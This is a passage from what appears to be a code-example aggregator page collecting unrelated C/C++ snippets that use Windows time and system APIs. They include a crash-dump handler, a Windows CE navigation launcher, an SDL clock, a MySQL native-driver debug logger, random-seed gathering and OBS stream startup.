                return;
            }
            
            StringCchCopyW(searchpath, sizeof(searchpath) / sizeof(WCHAR), parpath);
            StringCchCatW(searchpath, sizeof(searchpath) / sizeof(WCHAR), L"\\");
            pathend = wcslen(searchpath);
            
            StringCchCatW(searchpath, sizeof(searchpath) / sizeof(WCHAR), name);
            
            fff = FindFirstFileW(searchpath, &wfd);
            
            if (fff != INVALID_HANDLE_VALUE) {
                ULONG i = wcslen(searchpath), num = 2;
                
                do {
                    FindClose(fff);
                    
                    searchpath[i] = 0;
                    if (StringCchPrintfW(searchpath, sizeof(searchpath) / sizeof(WCHAR), L"%s (%u)", searchpath, num) == STRSAFE_E_INSUFFICIENT_BUFFER) {
                        MessageBoxW(hwnd, L"Filename too long.\n", L"Error", MB_ICONERROR);
                        CloseHandle(h);
                        CloseHandle(h2);
                        return;
                    }

                    fff = FindFirstFileW(searchpath, &wfd);
                    num++;
                } while (fff != INVALID_HANDLE_VALUE);
            }
            
            namelen = wcslen(&searchpath[pathend]) * sizeof(WCHAR);
                        
            bcs = (btrfs_create_snapshot*)malloc(sizeof(btrfs_create_snapshot) - 1 + namelen);
            bcs->subvol = h;
            bcs->namelen = namelen;
            memcpy(bcs->name, &searchpath[pathend], namelen);
            
            Status = NtFsControlFile(h2, NULL, NULL, NULL, &iosb, FSCTL_BTRFS_CREATE_SNAPSHOT, NULL, 0, bcs, sizeof(btrfs_create_snapshot) - 1 + namelen);
        
            if (Status != STATUS_SUCCESS)
                ShowNtStatusError(hwnd, Status);
            
            CloseHandle(h2);
        }
        
        CloseHandle(h);
    } else
        ShowError(hwnd, GetLastError());
}
Ejemplo n.º 9
0
//===========================================================
// Entry point where control comes on an unhandled exception
//===========================================================
LONG WINAPI WheatyExceptionReport::WheatyUnhandledExceptionFilter(
PEXCEPTION_POINTERS pExceptionInfo)
{
    TCHAR module_folder_name[MAX_PATH];
    GetModuleFileName(0, module_folder_name, MAX_PATH);
    TCHAR* pos = _tcsrchr(module_folder_name, '\\');
    if (!pos)
        return 0;
    pos[0] = '\0';
    ++pos;

    TCHAR crash_folder_path[MAX_PATH];
    sprintf(crash_folder_path, "%s\\%s", module_folder_name, CrashFolder);
    if (!CreateDirectory(crash_folder_path, NULL))
    {
        if (GetLastError() != ERROR_ALREADY_EXISTS)
            return 0;
    }

    SYSTEMTIME systime;
    GetLocalTime(&systime);
    sprintf(m_szDumpFileName, "%s\\%s_%s_[%u-%u_%u-%u-%u].dmp",
        crash_folder_path, _HASH, pos, systime.wDay, systime.wMonth, systime.wHour, systime.wMinute, systime.wSecond);

    sprintf(m_szLogFileName, "%s\\%s_%s_[%u-%u_%u-%u-%u].txt",
        crash_folder_path, _HASH, pos, systime.wDay, systime.wMonth, systime.wHour, systime.wMinute, systime.wSecond);

    m_hDumpFile = CreateFile(m_szDumpFileName,
        GENERIC_WRITE,
        0,
        0,
        OPEN_ALWAYS,
        FILE_FLAG_WRITE_THROUGH,
        0);

    m_hReportFile = CreateFile(m_szLogFileName,
        GENERIC_WRITE,
        0,
        0,
        OPEN_ALWAYS,
        FILE_FLAG_WRITE_THROUGH,
        0);

    if (m_hDumpFile)
    {
        MINIDUMP_EXCEPTION_INFORMATION info;
        info.ClientPointers = FALSE;
        info.ExceptionPointers = pExceptionInfo;
        info.ThreadId = GetCurrentThreadId();

        MiniDumpWriteDump(GetCurrentProcess(), GetCurrentProcessId(),
            m_hDumpFile, MiniDumpWithIndirectlyReferencedMemory, &info, 0, 0);

        CloseHandle(m_hDumpFile);
    }

    if (m_hReportFile)
    {
        SetFilePointer(m_hReportFile, 0, 0, FILE_END);

        GenerateExceptionReport(pExceptionInfo);

        CloseHandle(m_hReportFile);
        m_hReportFile = 0;
    }

    if (m_previousFilter)
        return m_previousFilter(pExceptionInfo);
    else
        return EXCEPTION_EXECUTE_HANDLER/*EXCEPTION_CONTINUE_SEARCH*/;
}
Ejemplo n.º 10
0
int WINAPI WinMain(HINSTANCE hInstance,
				   HINSTANCE hPrevInstance,
				   LPTSTR    lpCmdLine,
				   int       nCmdShow)
{
 hWnd_WEMAP = 0;
 hWnd_cid_gui = 0;
 hWnd_navitel = 0;
 hWndEdit = 0;
 hWnd_self = 0;
 hWnd_last = 0;


	fname = "\\Storage Card\\wemap\\wemap_WinMain.txt";
	fnamew = "\\Storage Card\\wemap\\Windows.txt";
	MSG msg;
	FILE * pFileTXT;
	Angle = DMDO_180;

	pFileTXT = fopen (fname,"a");

	UINT MS  = RegisterWindowMessageW(L"Private End Route Voice");
	fprintf (pFileTXT, "Private End Route Voice - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Start Route Voice");
	fprintf (pFileTXT, "Private Start Route Voice - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private Close LCN_Upgrade Process");
	fprintf (pFileTXT, "Private Close LCN_Upgrade Process - %d\n", MS);	


	MS = RegisterWindowMessageW(L"Private Trip Info");
	fprintf (pFileTXT, "Private Trip Info - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private Navi Start");
	fprintf (pFileTXT, "Private Navi Start - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Navi Closed");
	fprintf (pFileTXT, "Private Navi Closed - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Navi Destroyed");
	fprintf (pFileTXT, "Private Navi Destroyed - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Navi Exit");
	fprintf (pFileTXT, "Private Navi Exit - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Navi Volume");
	fprintf (pFileTXT, "Private Navi Volume - %d\n", MS);


	MS = RegisterWindowMessageW(L"Private Navi Button Down");
	fprintf (pFileTXT, "Private Navi Button Down - %d\n", MS);


	MS = RegisterWindowMessageW(L"Private Gps Ver Request");
	fprintf (pFileTXT, "Private Gps Ver Request - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Gps Ver Reply");
	fprintf (pFileTXT, "Private Gps Ver Reply - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private TPEG Request");
	fprintf (pFileTXT, "Private TPEG Request - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private TPEG Reply");
	fprintf (pFileTXT, "Private TPEG Reply - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private Gps Speed S12");
	fprintf (pFileTXT, "Private Gps Speed S12 - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private Go To Main Dialog");
	fprintf (pFileTXT, "Private Go To Main Dialog - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Go To Setting Dialog");
	fprintf (pFileTXT, "Private Go To Setting Dialog - %d\n", MS);

	MS = RegisterWindowMessageW(L"Private Request Light Status");
	fprintf (pFileTXT, "Private Request Light Status - %d\n", MS);

	MS = RegisterWindowMessageW(L"UK SA Message Received");
	fprintf (pFileTXT, "UK SA Message Received - %d\n", MS);
	MS = RegisterWindowMessageW(L"UK Abort SA Client");
	fprintf (pFileTXT, "UK Abort SA Client - %d\n", MS);

	PrivateModeChange = RegisterWindowMessageW(L"Private Mode Change");
	fprintf (pFileTXT, "Private Mode Change - %d\n", PrivateModeChange);

	MS = RegisterWindowMessageW(L"Private Light Off");
	fprintf (pFileTXT, "Private Light Off - %d\n", MS);
	MS = RegisterWindowMessageW(L"Private Light On");
	fprintf (pFileTXT, "Private Light On - %d\n", MS);

	fclose (pFileTXT);


	// Perform application initialization:
	if (!InitInstance(hInstance, nCmdShow)) 
	{
		return FALSE;
	}

	HACCEL hAccelTable;
	hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_WEMAP));
	int  ret;
	int i;
	i = 0;
	ret = 1;
	while (ret)
	{
		while (!PeekMessage(&msg, NULL, NULL, NULL, PM_NOREMOVE)) 
		{
			if (i++>1000)
			{
				if ((hWnd_navitel<=0) || (hWnd_WEMAP<=0) || (hWnd_cid_gui<=0))
					EnumWindows( enum_proc, (LPARAM)"Ѕлокнот" );
				i=0;

			}
		}
		ret = GetMessage(&msg, NULL, NULL, NULL);

		SYSTEMTIME st;
		GetLocalTime(&st);
		pFileTXT = fopen (fname,"a");
		fprintf(pFileTXT, "---> Date: [%02d, %02d, %d]  Time: [%02d:%02d:%02d] " ,st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond);
		fprintf (pFileTXT, " wnd(%d) msg(%d) wParam(%d-%d) lParam(%d-%d) \n", msg.hwnd,msg.message,LOWORD(msg.wParam), HIWORD(msg.wParam),LOWORD(msg.lParam), HIWORD(msg.lParam));

		fclose (pFileTXT);

			
		if(  ret != -1 ) 
		{
			//else
			{
				TranslateMessage(&msg);
				DispatchMessage(&msg);
			}
			if (msg.message==PrivateModeChange)
			{
				pFileTXT = fopen (fname,"a");
				int wmId;
				wmId    = LOWORD(msg.wParam);
				
				if (wmId==1)
				{
					if (hWnd_navitel>0)
					{
						fprintf (pFileTXT, " Show Navitel \n");
						ShowWindow(hWnd_navitel,SW_SHOW);
						SetForegroundWindow(hWnd_navitel);
						set_rotation(true);
						UpdateWindow(hWnd_navitel);

					} else 
					{
						if (hWnd_WEMAP>0)
						{
							fprintf (pFileTXT, " Show WEMAP \n");
							set_rotation(true);
						}
					}

				} else
				{
					if ((hWnd_navitel>0) || (hWnd_WEMAP>0))
						if (wmId!=5)
						{
							fprintf (pFileTXT, " Hide Navitel(WEMAP) \n");
							set_rotation(false);
							if (hWnd_navitel>0)
								ShowWindow(hWnd_navitel,SW_HIDE);
							else
								ShowWindow(hWnd_WEMAP,SW_HIDE);
							ShowWindow(hWnd_cid_gui,SW_SHOW);
						}
				}
				fclose (pFileTXT);
			}
		}
	}
	return( ret );

}
Ejemplo n.º 11
0
void set_rotation(BOOL fShow)
{
	DEVMODE DevMode;

	//int RotationAngles;
	int CurrentAngle;
	int NewAngle;

	FILE * pFileTXT;
	SYSTEMTIME st;
	GetLocalTime(&st);

	//
	// Get the current rotation angle.
	//

	memset(&DevMode, 0, sizeof (DevMode));
	DevMode.dmSize   = sizeof (DevMode);
	DevMode.dmFields = DM_DISPLAYORIENTATION;

	pFileTXT = fopen (fname,"a");
	fprintf(pFileTXT, "---> Date: [%02d, %02d, %d]  Time: [%02d:%02d:%02d] " ,st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond);
	
	if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &DevMode))
	{
		CurrentAngle = DevMode.dmDisplayOrientation;
		fprintf (pFileTXT, "ChangeAngle checked. Current=%d\n",CurrentAngle);
	}
	else
	{ 
		CurrentAngle = -1;
		fprintf (pFileTXT, "ChangeAngle failed. Current=%d\n",CurrentAngle);
	}

	if (CurrentAngle != -1) {
		CurrentAngle = Angle;

		NewAngle = CurrentAngle;

		if ((!fShow)) // && (CurrentAngle==DMDO_0))
				NewAngle = DMDO_0;
		if ((fShow)) // && (CurrentAngle==DMDO_180))
				NewAngle = DMDO_180;

		if (CurrentAngle!=NewAngle)
		{
			Angle = NewAngle;		
			memset(&DevMode, 0, sizeof (DevMode));
			DevMode.dmSize               = sizeof (DevMode);
			DevMode.dmFields             = DM_DISPLAYORIENTATION;
			DevMode.dmDisplayOrientation = NewAngle;
			fprintf (pFileTXT, "ChangeAngle. Current=%d, New=%d",CurrentAngle,Angle);

			if (DISP_CHANGE_SUCCESSFUL == ChangeDisplaySettingsEx(NULL, &DevMode, NULL, CDS_RESET, NULL))
				fprintf (pFileTXT, " - changed\n");
			else
				fprintf (pFileTXT, " - error\n");

		}

	}
	fclose (pFileTXT);
}
Ejemplo n.º 12
0
//
//   FUNCTION: InitInstance(HINSTANCE, int)
//
//   PURPOSE: Saves instance handle and creates main window
//
//   COMMENTS:
//
//        In this function, we save the instance handle in a global variable and
//        create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
	HWND hWnd;
	TCHAR szTitle[MAX_LOADSTRING];		// title bar text
	TCHAR szWindowClass[MAX_LOADSTRING];	// main window class name

	g_hInst = hInstance; // Store instance handle in our global variable


	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); 
	LoadString(hInstance, IDC_WEMAP, szWindowClass, MAX_LOADSTRING);


	if (!MyRegisterClass(hInstance, szWindowClass))
	{
		return FALSE;
	}
	EnumWindows( enum_proc, (LPARAM)"Ѕлокнот" );
	if (!hWnd_navitel)
	{
		FILE * pFileTXT;

		SYSTEMTIME st;
		GetLocalTime(&st);
		pFileTXT = fopen (fname,"a");
		fprintf(pFileTXT, "---> Date: [%02d, %02d, %d]  Time: [%02d:%02d:%02d] " ,st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond);
		fprintf (pFileTXT, " navitel not running - ");


		STARTUPINFO cif;
		ZeroMemory(&cif,sizeof(STARTUPINFO));
		/*LPSHELLEXECUTEINFO lpExecInfo;
		ZeroMemory(&SHExecInfo, sizeof(SHExecInfo));
		
		SHExecInfo.cbSize = sizeof(SHExecInfo);
		SHExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
		SHExecInfo.nShow = SW_SHOWNORMAL;
		SHExecInfo.lpFile = "\\Storage Card\\navi\\navitel.exe";
		if(!ShellExecuteEx(&SHExecInfo)) {
			*/
		if (CreateProcess(L"\\Doc Disk\\igo8\\igo8.exe",NULL,NULL,NULL,FALSE,NULL,NULL,NULL,&cif,&pi_navitel)==TRUE)
		{
			fprintf (pFileTXT, " navitel runned.\n");
		} else
			fprintf (pFileTXT, " navitel run faied.\n");

		fclose (pFileTXT);
	}

	hWnd = CreateWindow(szWindowClass, szTitle, WS_VISIBLE,
		CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL);

	if (!hWnd)
	{
		return FALSE;
	}
	hWnd_self = hWnd;
/*
	RegisterHotKey(hWnd, 10001, MOD_KEYUP, VK_APP1);
	RegisterHotKey(hWnd, 10002, MOD_KEYUP, VK_APP2);
	RegisterHotKey(hWnd, 10003, MOD_KEYUP, VK_APP3);
	RegisterHotKey(hWnd, 10004, MOD_KEYUP, VK_APP4);
	RegisterHotKey(hWnd, 10005, MOD_KEYUP, VK_APP5);
	RegisterHotKey(hWnd, 10006, MOD_KEYUP, VK_APP6);
*/
	ShowWindow(hWnd, nCmdShow);
	UpdateWindow(hWnd);

	if (g_hWndCommandBar)
	{
		CommandBar_Show(g_hWndCommandBar, TRUE);
	}

	return TRUE;
}
Ejemplo n.º 13
0
int main ( int argc, char *argv[] )
{

    if ( SDL_Init(SDL_INIT_EVERYTHING) != 0)
    {
        std::cout << "SDL_Init Error: " << SDL_GetError() << std::endl;
        return 2;
    }

    if(TTF_Init() == -1)
    {
        std::cout << "TTF_Init: " << TTF_GetError() << std::endl;
        return 7;
    }

    SDL_Window *window = SDL_CreateWindow("SDL_TEST", 80, 80, WIDTH, HEIGHT, SDL_WINDOW_SHOWN);
    if (window == NULL)
    {
        std::cout << "SDL_CreateWindow Error: " << SDL_GetError() << std::endl;
        return 3;
    }

    SDL_Renderer *renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);
    if(renderer == NULL)
    {
        std::cout << "SDL_CreateRenderer Error: " << SDL_GetError() << std::endl;
        return 4;
    }
    SDL_RenderClear(renderer);

    SYSTEMTIME t;

    SDL_Surface *ClockPlate = SDL_CreateRGBSurface(0, WIDTH, HEIGHT, 32, 0, 0, 0, 0);
    SDL_Renderer *PlateRender = SDL_CreateSoftwareRenderer(ClockPlate);
    DrawPlate(PlateRender);
    SDL_Texture *TexturePlate = SDL_CreateTextureFromSurface(renderer, ClockPlate);
    SDL_DestroyRenderer(PlateRender);
    SDL_FreeSurface(ClockPlate);

    SDL_Color LogoColor = { 255, 0, 0, 255 };
    SDL_Rect LogoXY = { WIDTH/2-80, 70, 160, 40 };
    TTF_Font *LogoFont = TTF_OpenFont("C:/Windows/Fonts/KhmerUIb.ttf", 30);
    SDL_Surface *Logo = TTF_RenderUTF8_Blended(LogoFont, "HAMILTON", LogoColor);
    SDL_Texture *TextureLogo = SDL_CreateTextureFromSurface(renderer, Logo);
    SDL_FreeSurface(Logo);
    TTF_CloseFont(LogoFont);

    SDL_Color NumColor = { 0, 255, 255, 255 };
    SDL_Rect NumXY = { WIDTH/2-80, 280, 160, 40 };
    TTF_Font *NumFont = TTF_OpenFont("C:/Windows/Fonts/DIGITAL-Regular.ttf", 32);
    SDL_Surface *NumClock = NULL;
    SDL_Texture *TextureNum = NULL;
    char Num[8];

    SDL_Color DayColor = { 255, 0, 255, 255 };
    SDL_Rect DayXY = { WIDTH/2+75, HEIGHT/2-18, 80, 36 };
    TTF_Font *DayFont = TTF_OpenFont("C:/Windows/Fonts/DIGITAL-Regular.ttf", 60);
    SDL_Surface *SurfaceDay = NULL;
    SDL_Texture *TextureDay = NULL;
    char Day[6];

    bool Quit = false;
    SDL_Event event;
    while(!Quit)
    {
        while(SDL_PollEvent(&event))
            switch(event.type)
            {
                case SDL_KEYDOWN:
                    if(event.key.keysym.sym == SDLK_ESCAPE)
                        Quit = true;
                    break;
                case SDL_QUIT:
                    Quit = true;
                    break;
                default:
                    break;
            }
        GetLocalTime(&t);
        SDL_RenderCopy(renderer, TexturePlate, NULL, NULL);
        SDL_RenderCopy(renderer, TextureLogo, NULL, &LogoXY);

        sprintf(Day, "%.2d  %s", t.wDay, Week(t.wDayOfWeek));
        SurfaceDay = TTF_RenderUTF8_Blended(DayFont, Day, DayColor);
        TextureDay = SDL_CreateTextureFromSurface(renderer, SurfaceDay);
        SDL_FreeSurface(SurfaceDay);
        SDL_RenderCopy(renderer, TextureDay, NULL, &DayXY);
        SDL_DestroyTexture(TextureDay);

        sprintf(Num, "%.2d:%.2d:%.2d", t.wHour, t.wMinute, t.wSecond);
        NumClock = TTF_RenderUTF8_Blended(NumFont, Num, NumColor);
        TextureNum = SDL_CreateTextureFromSurface(renderer, NumClock);
        SDL_FreeSurface(NumClock);
        SDL_RenderCopy(renderer, TextureNum, NULL, &NumXY);
        SDL_DestroyTexture(TextureNum);

        DrawHand(renderer, t.wHour, t.wMinute, t.wSecond);

        SDL_RenderPresent(renderer);
    }
    SDL_DestroyTexture(TextureLogo);
    SDL_DestroyTexture(TexturePlate);
    TTF_CloseFont(NumFont);

    return 0;
}
Ejemplo n.º 14
0
/* {{{ mysqlnd_debug::log */
static enum_func_status
MYSQLND_METHOD(mysqlnd_debug, log)(MYSQLND_DEBUG * self,
								   unsigned int line, const char * const file,
								   unsigned int level, const char * type, const char * message)
{
	char pipe_buffer[512];
	enum_func_status ret;
	int i;
	char * message_line;
	unsigned int message_line_len;
	unsigned int flags = self->flags;
	char pid_buffer[10], time_buffer[30], file_buffer[200],
		 line_buffer[6], level_buffer[7];
	MYSQLND_ZTS(self);

#ifdef MYSQLND_THREADED
	if (MYSQLND_G(thread_id) != tsrm_thread_id()) {
		return PASS; /* don't trace background threads */
	}
#endif

	if (!self->stream) {
		if (FAIL == self->m->open(self, FALSE)) {
			return FAIL;
		}
	}

	if (level == -1) {
		level = zend_stack_count(&self->call_stack);
	}
	i = MIN(level, sizeof(pipe_buffer) / 2  - 1);
	pipe_buffer[i*2] = '\0';
	for (;i > 0;i--) {
		pipe_buffer[i*2 - 1] = ' ';
		pipe_buffer[i*2 - 2] = '|';
	}


	if (flags & MYSQLND_DEBUG_DUMP_PID) {
		snprintf(pid_buffer, sizeof(pid_buffer) - 1, "%5u: ", self->pid);
		pid_buffer[sizeof(pid_buffer) - 1 ] = '\0';
	}
	if (flags & MYSQLND_DEBUG_DUMP_TIME) {
		/* The following from FF's DBUG library, which is in the public domain */
#if defined(PHP_WIN32)
		/* FIXME This doesn't give microseconds as in Unix case, and the resolution is
		in system ticks, 10 ms intervals. See my_getsystime.c for high res */
		SYSTEMTIME loc_t;
		GetLocalTime(&loc_t);
		snprintf(time_buffer, sizeof(time_buffer) - 1,
				 /* "%04d-%02d-%02d " */
				 "%02d:%02d:%02d.%06d ",
				 /*tm_p->tm_year + 1900, tm_p->tm_mon + 1, tm_p->tm_mday,*/
				 loc_t.wHour, loc_t.wMinute, loc_t.wSecond, loc_t.wMilliseconds);
		time_buffer[sizeof(time_buffer) - 1 ] = '\0';
#else
		struct timeval tv;
		struct tm *tm_p;
		if (gettimeofday(&tv, NULL) != -1) {
			if ((tm_p= localtime((const time_t *)&tv.tv_sec))) {
				snprintf(time_buffer, sizeof(time_buffer) - 1,
						 /* "%04d-%02d-%02d " */
						 "%02d:%02d:%02d.%06d ",
						 /*tm_p->tm_year + 1900, tm_p->tm_mon + 1, tm_p->tm_mday,*/
						 tm_p->tm_hour, tm_p->tm_min, tm_p->tm_sec,
						 (int) (tv.tv_usec));
				time_buffer[sizeof(time_buffer) - 1 ] = '\0';
			}
		}
#endif
	}
	if (flags & MYSQLND_DEBUG_DUMP_FILE) {
		snprintf(file_buffer, sizeof(file_buffer) - 1, "%14s: ", file);
		file_buffer[sizeof(file_buffer) - 1 ] = '\0';
	}
	if (flags & MYSQLND_DEBUG_DUMP_LINE) {
		snprintf(line_buffer, sizeof(line_buffer) - 1, "%5u: ", line);
		line_buffer[sizeof(line_buffer) - 1 ] = '\0';
	}
	if (flags & MYSQLND_DEBUG_DUMP_LEVEL) {
		snprintf(level_buffer, sizeof(level_buffer) - 1, "%4u: ", level);
		level_buffer[sizeof(level_buffer) - 1 ] = '\0';
	}

	message_line_len = spprintf(&message_line, 0, "%s%s%s%s%s%s%s%s\n",
								flags & MYSQLND_DEBUG_DUMP_PID? pid_buffer:"",
								flags & MYSQLND_DEBUG_DUMP_TIME? time_buffer:"",
								flags & MYSQLND_DEBUG_DUMP_FILE? file_buffer:"",
								flags & MYSQLND_DEBUG_DUMP_LINE? line_buffer:"",
								flags & MYSQLND_DEBUG_DUMP_LEVEL? level_buffer:"",
								pipe_buffer, type? type:"", message);

	ret = php_stream_write(self->stream, message_line, message_line_len)? PASS:FAIL;
	efree(message_line);
	if (flags & MYSQLND_DEBUG_FLUSH) {
		self->m->close(self);
		self->m->open(self, TRUE);	
	}
	return ret;
}
Ejemplo n.º 15
0
void CNewRandom::Initialize()
{
	++g_dwNewRandomInstanceCounter;

	DWORD dw;
	dw = timeGetTime();
	AddRandomObject(&dw, 4);

	LARGE_INTEGER li;
	QueryPerformanceCounter(&li);
	AddRandomObject(&li, sizeof(LARGE_INTEGER));

	SYSTEMTIME st;
	ZeroMemory(&st, sizeof(SYSTEMTIME));
	GetLocalTime(&st);
	AddRandomObject(&st, sizeof(SYSTEMTIME));

	POINT pt;
	GetCursorPos(&pt);
	AddRandomObject(&pt, sizeof(POINT));

	WORD ww;
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);
	ww = (WORD)(rand());
	AddRandomObject(&ww, 2);

	GetCaretPos(&pt);
	AddRandomObject(&pt, sizeof(POINT));

	MEMORYSTATUS ms;
	GlobalMemoryStatus(&ms);
	AddRandomObject(&ms, sizeof(MEMORYSTATUS));

	dw = (DWORD)(UINT_PTR)GetActiveWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCapture();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetClipboardOwner();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	// No support under Windows CE
	dw = (DWORD)(UINT_PTR)GetClipboardViewer();
	AddRandomObject(&dw, 4);
#endif

	dw = GetCurrentProcessId();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCurrentProcess();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetActiveWindow();
	AddRandomObject(&dw, 4);

	dw = GetCurrentThreadId();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetCurrentThread();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetDesktopWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetFocus();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetForegroundWindow();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	dw = (DWORD)GetInputState();
	AddRandomObject(&dw, 4); 
#endif

	dw = GetMessagePos();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	dw = (DWORD)GetMessageTime();
	AddRandomObject(&dw, 4);
#endif

	dw = (DWORD)(UINT_PTR)GetOpenClipboardWindow();
	AddRandomObject(&dw, 4);

	dw = (DWORD)(UINT_PTR)GetProcessHeap();
	AddRandomObject(&dw, 4);

	SYSTEM_INFO si;
	GetSystemInfo(&si);
	AddRandomObject(&si, sizeof(SYSTEM_INFO));

	dw = (DWORD)randXorShift();
	AddRandomObject(&dw, 4);

#ifndef _WIN32_WCE
	STARTUPINFO sui;
	GetStartupInfo(&sui);
	AddRandomObject(&sui, sizeof(STARTUPINFO));
#endif

	GUID guid;
	VERIFY(CoCreateGuid(&guid) == S_OK);
	AddRandomObject(&guid, sizeof(GUID));

	BYTE pbCrypt[64];
	CNewRandom::SysCryptGetRandom(&pbCrypt[0], 64);
	AddRandomObject(&pbCrypt[0], 64);

	AddRandomObject(&g_dwNewRandomInstanceCounter, 4);
}
Ejemplo n.º 16
0
void OBS::Start()
{
    if(bRunning) return;

    OSEnterMutex (hStartupShutdownMutex);

    scenesConfig.Save();

    //-------------------------------------------------------------

    fps = AppConfig->GetInt(TEXT("Video"), TEXT("FPS"), 30);
    frameTime = 1000/fps;

    //-------------------------------------------------------------

    if(!bLoggedSystemStats)
    {
        LogSystemStats();
        bLoggedSystemStats = TRUE;
    }

    //-------------------------------------------------------------

    if (OSIncompatibleModulesLoaded())
    {
        OSLeaveMutex (hStartupShutdownMutex);
        MessageBox(hwndMain, Str("IncompatibleModules"), NULL, MB_ICONERROR);
        Log(TEXT("Incompatible modules detected."));
        return;
    }

    String strPatchesError;
    if (OSIncompatiblePatchesLoaded(strPatchesError))
    {
        OSLeaveMutex (hStartupShutdownMutex);
        MessageBox(hwndMain, strPatchesError.Array(), NULL, MB_ICONERROR);
        Log(TEXT("Incompatible patches detected."));
        return;
    }

    //-------------------------------------------------------------

    String processPriority = AppConfig->GetString(TEXT("General"), TEXT("Priority"), TEXT("Normal"));
    if (!scmp(processPriority, TEXT("Idle")))
        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
    else if (!scmp(processPriority, TEXT("Above Normal")))
        SetPriorityClass(GetCurrentProcess(), ABOVE_NORMAL_PRIORITY_CLASS);
    else if (!scmp(processPriority, TEXT("High")))
        SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);

    int networkMode = AppConfig->GetInt(TEXT("Publish"), TEXT("Mode"), 2);
    DWORD delayTime = (DWORD)AppConfig->GetInt(TEXT("Publish"), TEXT("Delay"));

    String strError;

    bFirstConnect = !bReconnecting;

    if(bTestStream)
        network = CreateNullNetwork();
    else
    {
        switch(networkMode)
        {
        case 0: network = (delayTime > 0) ? CreateDelayedPublisher(delayTime) : CreateRTMPPublisher(); break;
        case 1: network = CreateNullNetwork(); break;
        }
    }

    if(!network)
    {
        OSLeaveMutex (hStartupShutdownMutex);

        if(!bReconnecting)
            MessageBox(hwndMain, strError, NULL, MB_ICONERROR);
        else
            DialogBox(hinstMain, MAKEINTRESOURCE(IDD_RECONNECTING), hwndMain, OBS::ReconnectDialogProc);
        return;
    }

    bReconnecting = false;

    //-------------------------------------------------------------

    Log(TEXT("=====Stream Start: %s==============================================="), CurrentDateTimeString().Array());

    //-------------------------------------------------------------

    int monitorID = AppConfig->GetInt(TEXT("Video"), TEXT("Monitor"));
    if(monitorID >= (int)monitors.Num())
        monitorID = 0;

    RECT &screenRect = monitors[monitorID].rect;
    int defCX = screenRect.right  - screenRect.left;
    int defCY = screenRect.bottom - screenRect.top;

    downscaleType = AppConfig->GetInt(TEXT("Video"), TEXT("Filter"), 0);
    downscale = AppConfig->GetFloat(TEXT("Video"), TEXT("Downscale"), 1.0f);
    baseCX = AppConfig->GetInt(TEXT("Video"), TEXT("BaseWidth"),  defCX);
    baseCY = AppConfig->GetInt(TEXT("Video"), TEXT("BaseHeight"), defCY);

    baseCX = MIN(MAX(baseCX, 128), 4096);
    baseCY = MIN(MAX(baseCY, 128), 4096);

    scaleCX = UINT(double(baseCX) / double(downscale));
    scaleCY = UINT(double(baseCY) / double(downscale));

    //align width to 128bit for fast SSE YUV4:2:0 conversion
    outputCX = scaleCX & 0xFFFFFFFC;
    outputCY = scaleCY & 0xFFFFFFFE;

    bUseMultithreadedOptimizations = AppConfig->GetInt(TEXT("General"), TEXT("UseMultithreadedOptimizations"), TRUE) != 0;
    Log(TEXT("  Multithreaded optimizations: %s"), (CTSTR)(bUseMultithreadedOptimizations ? TEXT("On") : TEXT("Off")));

    //------------------------------------------------------------------

    Log(TEXT("  Base resolution: %ux%u"), baseCX, baseCY);
    Log(TEXT("  Output resolution: %ux%u"), outputCX, outputCY);
    Log(TEXT("------------------------------------------"));

    //------------------------------------------------------------------

    GS = new D3D10System;
    GS->Init();

    //-------------------------------------------------------------

    mainVertexShader    = CreateVertexShaderFromFile(TEXT("shaders/DrawTexture.vShader"));
    mainPixelShader     = CreatePixelShaderFromFile(TEXT("shaders/DrawTexture.pShader"));

    solidVertexShader   = CreateVertexShaderFromFile(TEXT("shaders/DrawSolid.vShader"));
    solidPixelShader    = CreatePixelShaderFromFile(TEXT("shaders/DrawSolid.pShader"));

    //------------------------------------------------------------------

    CTSTR lpShader;
    if(CloseFloat(downscale, 1.0))
        lpShader = TEXT("shaders/DrawYUVTexture.pShader");
    else if(downscale < 2.01)
    {
        switch(downscaleType)
        {
            case 0: lpShader = TEXT("shaders/DownscaleBilinear1YUV.pShader"); break;
